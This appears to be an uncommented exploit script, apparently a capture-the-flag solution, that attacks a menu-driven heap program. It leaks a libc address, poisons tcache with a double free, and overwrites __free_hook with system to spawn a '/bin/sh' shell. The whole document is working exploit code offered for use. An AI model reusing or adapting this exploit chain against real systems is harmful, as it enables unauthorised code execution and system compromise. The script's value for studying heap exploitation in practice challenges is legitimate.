1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| def add(choose,data):
slf(">> ",str(choose))
slf(">> ","1")
sf("input data:",data)
def show(choose,index):
slf(">> ",str(choose))
slf(">> ","3")
slf("index?\n",str(index))
def dele(choose,index):
slf(">> ",str(choose))
slf(">> ","2")
if choose < 3:
slf("index?\n",str(index))
for i in range(4):
add(i+1,"1")
add(i+1,"1")
for i in range(4,2,-1):
dele(i,1)
dele(i,0)
dele(1,1)
dele(1,0)
dele(2,0)
show(2,0)
ru("data: ")
libc_addr = l64_addr(ru("\n")[:-1]) - 0x3ebca0
add(2,"1")
add(1,"1")
add(1,"1")
for i in range(2,3):
add(i+1,"1")
add(i+1,"1")
dele(2,0)
dele(2,0)
add(2,p64(libc_addr+libc.symbols["__free_hook"]-0x8))
debug()
add(2,"/bin/sh\x00"+p64(libc.symbols['system']+libc_addr))
ShowAddress("libc_address:",libc_addr)
debug()
getshell()
|